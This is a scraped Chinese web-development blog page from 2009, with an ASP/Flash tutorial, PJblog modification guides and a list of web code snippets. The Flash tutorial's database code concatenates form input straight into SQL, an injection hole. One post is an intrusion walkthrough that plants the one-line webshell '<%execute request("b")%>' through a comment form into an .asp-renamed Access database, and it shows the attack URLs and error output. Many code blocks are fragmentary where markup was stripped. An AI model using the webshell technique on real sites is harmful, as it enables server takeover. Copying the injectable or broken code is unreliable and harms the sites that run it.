一展七彩 - 网页

在Flash中使用ASP技术

admin@1z7c.com(Pankaj) — Fri,03 Jul 2009 21:16:59 +0800

在Flash中使用ASP需要的条件：　　　　　　　　　　　　
1。你的ISP的server必须支持Active Server Pages并且最好支持数据库
2。你应该要安装Flash 4
3。需要你对ASP有初步的了解
OK，下面具体介绍怎么使用：
第一步要做的是建立数据库：
数据库结构：
例子中使用Access数据库，表名为tblStaff，有三个字段：strID (自动编号)，strKnownAs(Text),strSurname (Text). 这是一个用来示范用户名的数据库,随便加些数据吧。

第二步就是建立一个Flash 4的动画罗：

步骤如下:

1)建立三个text field.它们是用来显示数据用的；

2)把第一个text field的name设置为Input,它是用来接收输入数据的；
3)另外两个text field分别命名为KnownAs和Surname；

4)其它设置先为默认；

5)最后,从Flash的library中选择增加一个按钮 (应该是一个可重用的组件ScrollBarButton )。这是很重要的一步,按钮将把输入的变量传递给ASP页面，到按钮的属性(Properties)上单击Action页. 单击"+"号和On MouseEvent.勾上Release框；

6)再次单击"+"号和Load/Unload Movie.选择"Load Variables Into Location"，在URL输入框内输入你的ASP文件名(例如flash.asp). 选择Target；

7)最后,选择Variables中的Send using POST，单击"+"号来设置变量，在Variable输入框内输入"Input"(就是第一个text field的name)，当上面的工作都完成后，你应该在action box内看到如下内容:

On (Release)

Load Variables ("flash.asp", "", vars=POST)

Set Variable: "Input" = ""

End On

[pagebreak]

这样当在动画过程中这个按钮被点击并释放后,Input输入框中的内容将被传递给flash.asp文件.

注意form是使用的post方式传递变量的；

8)现在建立一个HTML页面,在其中包含这个Flash动画文件。

第三步:ASP文件的代码：

<%

Set Connection = Server.CreateObject("ADODB.Connection")
Set Recordset = Server.CreateObject("ADODB.Recordset")
Connection.Open "people" '你的数据库连接的DSN
SQL = "Select * FROM tblStaff Where strID=" & Request.Form("Input") & ";"
Recordset.Open SQL,Connection,1,2
If Recordset.EOF Then
KnownAs = "Not"
Surname = "Found"
Else
KnownAs = Recordset ("strKnownAs")
Surname = Recordset ("strSurname")
End If
Recordset.Close
Connection.Close
response.write("KnownAs="+Server.URLEncode(KnownAs))
response.write("&Surname="+Server.URLEncode(Surname))

%>

需要注意的是在把KnownAs和Surname传递回去的写法,将是这样的：

KnownAs=Data1&Surname=Data2

使用Server.URLEncode(VariableName)来保证传递过去变量的是按照 URL格式编码的。

下面简单介绍一下ASP和Flash通讯的原理：

变量其实都是通过URL传递给Flash的,其实这是一种GET方法，你不使用ASP其实也可以把变量传递给一个swf文件的,只要这样:

接着文本"Text of my variable"将会出现在Flash的动画中指定的位置

好了,该说的都说了,现在对于ASP的开发者来说,只要把Flash所需要的数据准备好,然后利用Flash中的动画功能就可以做出强劲的网页出来了.最简单的是利用flash结合数据库画一个很漂亮的饼图,呵呵.反正只要大家能够想象就可以做出很多很好的东西出来的。

---摘自《ChinaASP》

改mdb为asp所带来的灾难

admin@1z7c.com(Pankaj) — Fri,03 Jul 2009 21:05:42 +0800

可能是随着网络安全技术的发展吧，管理员的素质都在提高，在使用access+asp系统时，为不数据库被人下载，到把mdb改为asp或asa。先不说直接改后缀，直接可以用网快等工具直接下载，其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。
一．思路

　　大家都知道<％%>为asp文件的标志符，也就是说一个asp文件只会去执行之间的代码，access＋asp的web系统的所有数据都是存放在数据库文件里（mdb文件），由于管理者把mdb文件改为了asp文件，如果我们提交的数据里包含有，那当我们访问这个asp数据库的时候就会去执行之间的代码。这样导致我们只提交恶意代码给数据库，那么asp后缀的数据库就是我们的webshell了。

二．示例

　　随便找个目标，首先我们暴库，看是不是asp后缀的数据库：
http://127.0.0.1/test/dlog%5cshowlog.asp?cat_id=5&log_id=210

返回：

Microsoft VBscript 编译器错误错误 '800a03f6'
缺少 'End'

/iisHelp/common/500-100.asp，行242

Microsoft JET Database Engine 错误 '80004005'

'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。

/test/conn.asp，行18
[pagebreak]

　　我们提交：http://127.0.0.1/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码，这样我们可以直接用网际快车等工具直接下载数据库（这里我们不讨论）。我们回到主页看到有提供“网友评论”功能。我们注册个用户，发一条评论：

< %execute request("b")%>

　　这样我们就把asp代码：写入了数据库，那么数据库：就是我们的webshell咯。提交：http://127.0.0.1/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到：

/iisHelp/common/500-100.asp，行242
Microsoft VBscript 运行时错误错误 '800a000d'

类型不匹配: 'execute'

/test/dlog/log_mdb/%29dlog_mdb%29.asp，行1266
　　注意：我们在向数据库提交代码时，代码内容不可以太大。所以我们采用。

三．其他一些问题和思路

　　１．对于改了后缀为asp，还对数据库里加入了等非法的asp代码来彻底防止下载的数据库，由于里面存在了非法的asp代码，插入我们的webshell代码后运行，将只会显示前面非法代码的错误，而不去执行我们shell的代码。虽然这样可以防止一定的攻击，但还是存在一定的隐患，我们只要在出错的代码前加入兼容错误的代码，就可以得到正确显示执行我们插入的webshell代码了。

　　２．对于没有改后缀的，也就是mdb文件，这样我们可以先直接下载下来得到后台密码，进了后台，可以利用数据库备用改后缀为asp。

PJblog3简单易行的防盗链下载插件

admin@1z7c.com(心旷神怡) — Wed,22 Apr 2009 23:30:57 +0800

PJblog3简单易行的防盗链下载插件

本教程涉及到多个文件修改，建议有一定基础的人修改:附件请在最后下载都在一起
下面进入正题

首先：在根目录创建一个文件夹，文件夹名字随便，最好特别一点的不容易被人猜出来的。

第一步：
1. 下载 MultiAttUpload 附件，解压后将文件 MultiAttUpload.asp

打开MultiAttUpload.asp 查找attachments 全部替换成上面文件夹的名
上传到你博客的根目录

2. 修改日志发表文件blogpost.asp（如果你修改过这个文件的名称，请在相应文件中修改）：

a. 查找编辑内容摘要，并其后加入下面代码：

复制内容到剪贴板程序代码

批量上传附件

b. 查找下面的代码段：

复制内容到剪贴板程序代码

                    附件上传:

在这段代码的前面插入下面的代码：

复制内容到剪贴板程序代码

c.  保存并上传文件
[pagebreak]

   3. 保存所有文件，第一步完成修改。

第二步：

    下载downattach.asp
      打开downattach.asp
查找attachments 全部替换成上面文件夹的名，保存上传到网站根目录下。

第三步：
1，打开common/ubbcode.asp文件，在最前面，增加一个新的函数：

注意把下面的代码中attachments替换成你开始创建的文件夹名称

复制内容到剪贴板程序代码

Function checkLocal(ByVal tmpStr1)
    If IsEmpty(tmpStr1) or IsNull(tmpStr1) Then
        Exit Function
    Else
                If InStr(tmpStr1,"attachments/month")>0 Then
                        tmpStr1=Replace(tmpStr1,"attachments/","")
                        checkLocal="downattach.asp?url="&tmpStr1
                Else
                        checkLocal=tmpStr1
                End If
        End If
End Function

[pagebreak]

接下来还是同一个文件
查找
tmpStr1 = checkURL(strMatch.SubMatches(0))

一共能查找到8条注意：只对后面4条进行操作
在后面4条的

复制内容到剪贴板程序代码

tmpStr1 = checkURL(strMatch.SubMatches(0))

每句后面都加一个

复制内容到剪贴板程序代码

tmpStr1 = checkLocal(tmpStr1)

完成。.........................

注意：以后上传RAR ZIP 之类的文件请在日志上选择批量上传文件（图片千万别用这个否则能看到真实地址的）
上传图片请用PJ自带的上传方式，

如有问题请跟帖。

复制内容到剪贴板程序代码

代码修改：记忆aspblog.net
感谢：dreamsun
　　　www.dudo.org

[/align] 点击下载此文件

PJBlog侧边栏日志分类 --- 横排样式

admin@1z7c.com(心旷神怡) — Fri,17 Apr 2009 14:47:12 +0800

修改的文件主要有两个，一个是common下的cache.asp文件和你所用的皮肤typography.css文件。

在common/cache.asp文件里找到

复制内容到剪贴板程序代码

        For i = 0 To Category_Len
            If Int(Arr_Category(9, i)) = 0 or Int(Arr_Category(9, i)) = 2 Then
                If Arr_Category(4, i) Then
                    If CBool(Arr_Category(10, i)) Then
                        If stat_ShowHiddenCate or stat_Admin Then CategoryList = CategoryList&(""&Arr_Category(1, i)&"
")
                    Else
                        CategoryList = CategoryList&(""&Arr_Category(1, i)&"
")
                    End If
                Else
                    If CBool(Arr_Category(10, i)) Then
                        If stat_ShowHiddenCate or stat_Admin Then CategoryList = CategoryList&(""&Arr_Category(1, i)&" ["&Arr_Category(7, i)&"]
")
                    Else
                        CategoryList = CategoryList&(""&Arr_Category(1, i)&" ["&Arr_Category(7, i)&"]
")
                    End If
                End If
            End If

[pagebreak]
用下面代码覆盖即可！

引用内容

"&Arr_Category(1, i)&"")
Else
CategoryList = CategoryList&("
"&Arr_Category(1, i)&"

"&Arr_Category(1, i)&"

"&Arr_Category(1, i)&"

[pagebreak]
二.在你使用个皮肤typography.css里最底部加上以下代码

复制内容到剪贴板程序代码

#Side_Category img{display:none;}
#Side_Category .Pcontent{width:100%;overflow:hidden}
#Side_Category .Pcontent li{float:left;width:90px;text-align:center;}
#Side_Category .Pcontent li a{display:inline-block;padding:0px 16px 0px 16px;}

修改OK·

效果截图：

PJBLOG日志归档下拉式的菜单代码

admin@1z7c.com(心旷神怡) — Sun,05 Apr 2009 02:01:31 +0800

废话不多说，直接看代码！

首先打开common/cache.asp，找到这一段代码：

引用内容

          '-----------------读取日志归档缓存--------------------
    if action<>2 then
            Dim archive_item_Len,Month_array
            if ubound(blog_archive,1)=0 then archive="":exit function
            Month_array=Array("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月")
            archive_item_Len=ubound(blog_archive,2)
            For i=0 to archive_item_Len
                archive=archive&""&blog_archive(1,i)&"年"&Month_array(blog_archive(2,i)-1)&" ["&blog_archive(0,i)&"]"
            Next
    end if
end function

找到-----------------读取日志归档缓存--------------------

把他们修改成：

引用内容

          '-----------------读取日志归档缓存--------------------
    if action<>2 then
            Dim archive_item_Len,Month_array
            if ubound(blog_archive,1)=0 then archive="":exit function
            Month_array=Array("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月")
            archive_item_Len=ubound(blog_archive,2)
'==========日志归档下拉列表==========
            archive="

"
            archive=archive&""
            For i=0 to archive_item_Len
            archive=archive&""
'==========日志归档下拉列表===========
            Next
            archive=archive&""
    end if
end function

让你的PJBLOG3上下都显示分页

admin@1z7c.com(心旷神怡) — Sat,04 Apr 2009 10:57:38 +0800

废话不多说

方法如下：

1. 打开class目录下的 cls_default.asp 文件，找到预览模式: 在前面添加代码：

复制内容到剪贴板程序代码

<%=MultiPage(Log_Num,blogPerPage,CurPage,Url_Add,"","floateft")%>

2. 打开class目录下的 cls_logAction.asp 文件，找到预览模式: 在前面添加代码：

复制内容到剪贴板程序代码

<%=MultiPage(ubound(aList)+1-hiddenC,pageSize,CurPage,Url_Add,"","floateft","")%>

pjblog添加复制本文地址复制全文按钮方法

admin@1z7c.com(Simple) — Fri,20 Mar 2009 12:29:05 +0800

1、全静态找到template/static.htm文件/半静态找到template/Article.asp文件，找到
onclick="getTrackbackURL(<$LogID$>)">我要引用此文章

在后面加上

复制内容到剪贴板程序代码

| 复制本文地址 | 复制全文

2、找到common/common.js文件在文件最后加上

复制内容到剪贴板程序代码

关于本站引导页友情连接问题！

admin@1z7c.com(Simple) — Sat,07 Mar 2009 17:27:23 +0800

在本站首页设有五个本人自主推荐的连接，
即日起开始下线，本人原先考虑在多加几个连接，但由于给本站带来速度影响，
考虑首页的美观问题在加上各贵站LOGO不一至颜色有很大差别因此所有连接下线，
但连接不会被删除而是转移至BLOG连接内点这里
不过以后会考虑用文字连接的，由于时间问题本今天就不做了！

还请各位多多多支持,和谅解!

网页常用代码

admin@1z7c.com(Simple) — Thu,29 Jan 2009 14:16:25 +0800

1.自动跳转

2. 不准网页被另存为
网页将不能被另存为

3. 获得一个窗口的大小
document.body.clientWidth,document.body.clientHeight
document.body.offsetWidth,document.body.offsetHeight
有时还需要知道window.screenTop,window.screenLeft

4. 关闭输入法

5. 将彻底屏蔽鼠标右键
oncontextmenu="window.event.returnvalue=false"

可用于Table

6. 不准粘贴
onpaste="return false"

7. 取消选取、防止复制

8. 防止复制
oncopy="return false;" oncut="return false;"

9. IE地址栏前换成自己的图标

10. 在收藏夹中显示出你的图标

11. 永远都会带着框架

12. 防止被人frame

13. onclick="window.location = 'view-source:'+ 'http://www.csdn.net/'">

14. 怎样通过asp的手段来检查来访者是否用了代理
<% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
response.write "您通过了代理服务器，"& _
"真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
%>

15. 取得控件的绝对位置

file://javascript

file://VBScript

16. 光标是停在文本框文字的最后

17.收藏本站
http://www.x711.cn','南方影院')" href="http://www.x711.cn" target="_blank" title="夜鹰网站">收藏本站

18. 设为主页
this.setHomePage('http://www.x711.cn/')">设为主页

19. 改变网页字体大小
在要缩放字体的表前加

表内加：
查看:
[大字体
中字体
小字体]

注意：
id=zoom的位置

20. 判断上一页的来源
asp:
request.servervariables("HTTP_REFERER")

javascript:
document.referrer

21. 最小化、最大化、关闭窗口

本例适用于IE

22.
<%
'定义数据库连接的一些常量
Const adOpenForwardOnly = 0 '游标只向前浏览记录，不支持分页、Recordset、BookMark
Const adOpenKeyset = 1 '键集游标，其他用户对记录说做的修改将反映到记录集中，但其他用户增加或删除记录不会反映到记录集中。支持分页、Recordset、BookMark
Const adOpenDynamic = 2 '动态游标功能最强，但耗资源也最多。用户对记录说做的修改，增加或删除记录都将反映到记录集中。支持全功能浏览(ACCESS不支持)。
Const adOpenStatic = 3 '静态游标，只是数据的一个快照，用户对记录说做的修改，增加或删除记录都不会反映到记录集中。支持向前或向后移动 Const adLockReadOnly = 1 '锁定类型，默认的，只读，不能作任何修改
Const adLockPessimistic = 2 '当编辑时立即锁定记录，最安全的方式
Const adLockOptimistic = 3 '只有在调用Update方法时才锁定记录集，而在此前的其他操作仍可对当前记录进行更改、插入和删除等
Const adLockBatchOptimistic = 4 '当编辑时记录不会被锁定，而更改、插入和删除是在批处理方式下完成的

Const adCmdText = &H0001
Const adCmdTable = &H0002
%>

23. 网页不会被缓存
HTM网页

或者
ASP网页
Response.Expires = -1
Response.ExpiresAbsolute = Now() - 1
Response.cachecontrol = "no-cache"
PHP网页
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");

24. 检查一段字符串是否全由数字组成

25. 怎么判断是否是字符
if (/[^\x00-\xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");

26. 检查一段字符串是否全由数字组成

27.TEXTAREA自适应文字行数的多少

28. 日期减去天数等于第二个日期

29. 选择了哪一个Radio

Style
Barcode

30.获得本页url的request.servervariables("")集合
Response.Write ""
for each ob in Request.ServerVariables
Response.Write ""
next
Response.Write "

Variables	value
"&ob&"	"&Request.ServerVariables(ob)&"

"

31.
客户机ip　<%=request.servervariables("remote_addr")%>
服务器名　<%=Request.ServerVariables("SERVER_NAME")%>
服务器IP　<%=Request.ServerVariables("LOCAL_ADDR")%>
服务器端口<%=Request.ServerVariables("SERVER_PORT")%>
服务器时间<%=now%>
IIS版本<%=Request.ServerVariables"SERVER_SOFTWARE")%>
脚本超时时间<%=Server.ScriptTimeout%>
本文件路径<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
服务器CPU数量<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%>
服务器解译引擎<%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %>
服务器操作系统<%=Request.ServerVariables("OS")%>

32.ENTER键可以让光标移到下一个输入框

33. 检测某个网站的链接速度：
把如下代码加入区域中:

34. 各种样式的光标
auto ：标准光标
default ：标准箭头
hand ：手形光标
wait ：等待光标
text ：I形光标
vertical-text ：水平I形光标
no-drop ：不可拖动光标
not-allowed ：无效光标
help ：?帮助光标
all-scroll ：三角方向标
move ：移动标
crosshair ：十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

35.本地无缓存，每次自动刷新
response.expires=0
response.addHeader "pragma" , "no-cache"
response.addHeader "cache-control" , "private"

36.修改contentType并下载gif等格式
<%
function dl(f,n)
on error resume next

set s=CreateObject("Adodb.Stream")
S.Mode=3
S.Type=1
S.Open
s.LoadFromFile(server.mappath(f))
if err.number>0 then
response.write err.number & ":" & err.description
else
response.contentType="application/x-gzip"
response.addheader "Content-Disposition:","attachment; filename=" & n
response.binarywrite(s.Read(s.size))
end if
end function

call dl("012922501.gif","t1.gif")
%>